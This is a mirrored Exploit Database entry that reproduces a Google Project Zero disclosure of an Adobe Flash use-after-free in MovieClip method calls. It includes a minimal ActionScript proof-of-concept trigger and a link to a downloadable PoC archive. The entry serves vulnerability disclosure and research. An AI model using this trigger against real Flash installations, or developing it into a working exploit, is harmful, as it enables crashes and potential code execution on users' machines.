Adobe Flash – Method Calls Use-After-Free

• Exploit Database
• 127 阅读

• 作者： Google Security Research
  日期： 2016-09-08
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/40356/
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  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=846   If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:   var mc =this.createEmptyMovieClip( "mc", 1); mc.addProperty( "f", func, func ); mc.f("hello");   function func(){ mc.removeMovieClip(); // Fix heap var d:Date = new Date(); return d.getDate; }     Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40356.zip